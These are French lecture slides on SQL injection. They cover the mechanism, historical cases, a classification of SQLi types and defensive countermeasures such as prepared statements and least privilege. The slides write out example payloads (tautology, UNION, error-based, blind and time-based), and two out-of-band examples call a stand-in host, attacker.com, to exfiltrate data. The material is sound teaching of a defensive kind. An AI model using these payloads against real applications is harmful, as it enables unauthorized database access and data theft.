“ Sécurité des applications
web/mobile ”
2- Injection SQL
2
Plan
Introduction
Concept de l’Injection SQL
Classification des Injections SQL
Contre-mesures
Pr. Abdelhay HAQIQ Sécurité des applications
3
Plan
Introduction
Concept de l’Injection SQL
Classification des Injections SQL
Contre-mesures
Pr. Abdelhay HAQIQ Sécurité des applications
4
Sécurité dans le cycle de vie logiciel
La sécurité d’une application web doit être une préoccupation constante
tout au long de son cycle de vie.
Elle doit être prise en compte au moment de
1. la conception
2. du développement
3. puis de manière quotidienne par un suivi du fonctionnement après la
mise en production.
Pr. Abdelhay HAQIQ Sécurité des applications
5
Open Web Application Security Project (OWASP)
Open Web Application Security Project (OWASP) est une communauté en
ligne travaillant sur la sécurité des applications Web.
Sa philosophie est d'être à la fois libre et ouverte à tous.
But de cette communauté : publier des recommandations de sécurisation
Web et de proposer aux internautes, administrateurs et entreprises des
méthodes et outils de référence permettant de contrôler le niveau de
sécurisation de ses applications Web.
Pr. Abdelhay HAQIQ Sécurité des applications
6
Types d'attaques Web
Il existe de nombreux types d'attaques Web, mais les plus courants sont les suivants :
injection de code : injection de code malveillant dans une application Web, permettant à l'attaquant de
prendre le contrôle de l'application ou de voler des données.
script intersite (XSS) : injection de code JavaScript malveillant dans une page Web, permettant à
l'attaquant de voler des cookies, des sessions d'utilisateur ou d'autres données sensibles.
déni de service (DoS) : envoi d'un grand nombre de requêtes à un site Web ou à un serveur afin de le
submerger et de le rendre indisponible.
force brute : tentative d'authentification sur un site Web en utilisant de nombreuses combinaisons de nom
d'utilisateur et de mot de passe jusqu'à ce que la bonne combinaison soit trouvée.
phishing : envoi d'e-mails ou de SMS frauduleux incitant les utilisateurs à révéler leurs informations
personnelles ou financières.
malware : téléchargement de logiciels malveillants sur l'appareil d'un utilisateur, permettant à l'attaquant
de voler des données, d'espionner l'utilisateur ou de prendre le contrôle de son appareil.
Pr. Abdelhay HAQIQ Sécurité des applications
7
Plan
Introduction
Concept de l’Injection SQL
Classification des Injections SQL
Contre-mesures
Pr. Abdelhay HAQIQ Sécurité des applications
8
Injection SQL
L’injection SQL est une attaque qui exploite une faille dans la couche de
gestion des entrées utilisateur pour injecter des commandes SQL arbitraires
dans une requête prévue par le développeur.
Exemple typique : un champ de formulaire qui permet d’ajouter du SQL
malicieux.
Pr. Abdelhay HAQIQ Sécurité des applications
9
Mécanisme fondamental
L'application construit dynamiquement des requêtes SQL en concaténant
des entrées utilisateur
L'attaquant fournit des données spécialement craftées qui modifient la
logique de la requête
La base de données exécute la requête modifiée, permettant un accès non
autorisé
Pr. Abdelhay HAQIQ Sécurité des applications
10
Historique et Importance
Premières documentations : 1998 dans le Phrack Magazine
Toujours dans le Top 3 des vulnérabilités OWASP depuis 20 ans
Responsable de nombreuses fuites de données majeures
Pr. Abdelhay HAQIQ Sécurité des applications
11
Études de Cas Réels
Attaque contre Yahoo (2012)
Vecteur : Injection SQL via formulaire de recherche
Impact : 450,000 comptes compromis
Cause : Concaténation directe des requêtes
Piratage de Sony Pictures (2011)
➢ Technique : SQLi → Accès admin → Exfiltration de 77 millions
d'enregistrements
➢ Coût : Estimation à $171 millions
Pr. Abdelhay HAQIQ Sécurité des applications
12
Plan
Introduction
Concept de l’Injection SQL
Classification des Injections SQL
Contre-mesures
Pr. Abdelhay HAQIQ Sécurité des applications
13
Classification des Injections SQL
Type Caractéristiques Exemple
Classique Erreurs visibles, résultats directs ' OR 1=1 --
Union-Based Utilisation de UNION pour extraire des données ' UNION SELECT 1,2,3 --
Error-Based Extraction via messages d'erreur ' AND 1=CONVERT(int,@@version)
Blind Booléenne Pas de sortie directe, déduction par vrai/faux ' AND SUBSTRING(version(),1,1)='5
Blind Temporelle Détection par délais de réponse ' AND IF(1=1,SLEEP(5),0) --
Out-of-Band Exfiltration via DNS/HTTP ' LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\file'))
Pr. Abdelhay HAQIQ Sécurité des applications
14
Injection SQL Classique
On injecte une condition toujours vraie dans une requête SQL. C’est la forme la
plus simple et la plus courante de SQLi.
Exemple :
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
Si un attaquant fournit 1' OR '1'='1, la requête devient :
SELECT * FROM users WHERE id = '1' OR '1'='1';
Effet :
Renvoie tous les utilisateurs car la condition est toujours vraie.
Contourne la logique d’authentification ou de filtrage.
Pr. Abdelhay HAQIQ Sécurité des applications
15
Injection UNION-Based
Utilise l’opérateur SQL UNION pour fusionner deux requêtes et afficher les résultats
d'une requête injectée.
Exemple :
SELECT id, name FROM users WHERE id = '$id';
Si un attaquant fournit -1' UNION SELECT null, version() –, la requête devient :
SELECT id, name FROM users WHERE id = '-1' UNION SELECT null, version() --';
Effet :
Affiche la version du moteur SQL.
Peut permettre de voler des données d'autres tables.
Pr. Abdelhay HAQIQ Sécurité des applications
16
Injection Error-Based
On provoque une erreur SQL volontaire afin de révéler des informations via
les messages d’erreur retournés par le serveur.
Exemple, si un attaquant fournit :
1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a,
FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --
Provoque une erreur du type :
Duplicate entry 'dvwa:1' for key 1
Effet :
Permet d’extraire des noms de base de données, d'utilisateurs, etc.
Pr. Abdelhay HAQIQ Sécurité des applications
17
Blind SQL Injection Booléenne
Quand aucune erreur ni réponse visible n’est affichée, l’attaquant teste des conditions
vraies ou fausses et observe les variations de réponse (ex : présence ou absence de texte,
différences de code HTTP...).
Exemple
1' AND 1=1 -- (vrai)
1' AND 1=2 -- (faux)
Si la page retourne un message différent dans les deux cas, on peut extraire des données
bit par bit :
1' AND SUBSTRING((SELECT user()), 1, 1) = 'r' --
Effet :
➢ Permet de bruteforcer les données même sans retour direct.
➢ Plus lente, mais très puissante.
Pr. Abdelhay HAQIQ Sécurité des applications
18
Blind SQL Injection Temporelle (Time-Based)
Variante de la blind SQLi : l’attaquant provoque un délai (avec SLEEP(),
BENCHMARK(), etc.) si une condition est vraie.
Exemple
1' AND IF(SUBSTRING((SELECT database()),1,1)='d', SLEEP(5), 0) --
Effet :
➢ Si la page met 5 secondes à répondre, la condition est vraie.
➢ Permet d’extraire des données sans aucun affichage ni retour d'erreur.
➢ Fonctionne même sur des applications muettes (API, AJAX...).
Pr. Abdelhay HAQIQ Sécurité des applications
19
Out-of-Band SQL Injection (OOB)
Quand les réponses normales ou temporelles ne sont pas possibles, l’attaquant utilise des
canaux alternatifs comme :
➢ DNS
➢ Requêtes HTTP
➢ Emails
➢ Requêtes WebSocket
➢ Exemple :
1'; SELECT LOAD_FILE('\\\\attacker.com\\file'); --
Effet :
➢ Déclenche une requête sortante depuis le serveur.
➢ Permet à l’attaquant de récupérer des données ou valider des hypothèses à distance.
Pr. Abdelhay HAQIQ Sécurité des applications
20
Synthèse
Type Feedback visible Outils typiques Détail
Condition toujours vraie pour
Classique Oui Navigateur, curl
contourner la requête
Fusionne résultats d'une seconde
UNION-Based Oui Navigateur, sqlmap
requête
Erreurs SQL révélatrices (structure
Error-Based Oui (si erreurs) Navigateur, sqlmap
DB, version…)
Conditions binaires (vrai/faux)
Blind Booléenne Non sqlmap, Burp
détectées par le contenu
Blind Temporelle Non sqlmap Utilise des délais dans la réponse
Exploite des canaux externes
Out-of-Band Non sqlmap + serveur
(DNS, HTTP…)
Pr. Abdelhay HAQIQ Sécurité des
applications
21
Plan
Introduction
Concept de l’Injection SQL
Classification des Injections SQL
Contre-mesures
Pr. Abdelhay HAQIQ Sécurité des applications
22
Contre-mesures (1/2)
Requêtes préparées (paramétrées) :
Utiliser PDO ou mysqli avec des paramètres liés :
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);
Validation et filtrage des entrées
➢ Vérifier le type attendu (ex : entier).
➢ Rejeter les caractères ou séquences suspects.
Pr. Abdelhay HAQIQ Sécurité des applications
23
Contre-mesures (2/2)
Échappement des données (non recommandé seul)
Ex : mysqli_real_escape_string() — mais insuffisant si utilisé seul.
Principes de moindre privilège
➢ L’utilisateur SQL ne doit pas avoir accès à des commandes critiques.
➢ Pas d’accès root à la base de données.
Gestion des erreurs
➢ Ne jamais afficher les erreurs SQL à l’utilisateur
Pr. Abdelhay HAQIQ Sécurité des applications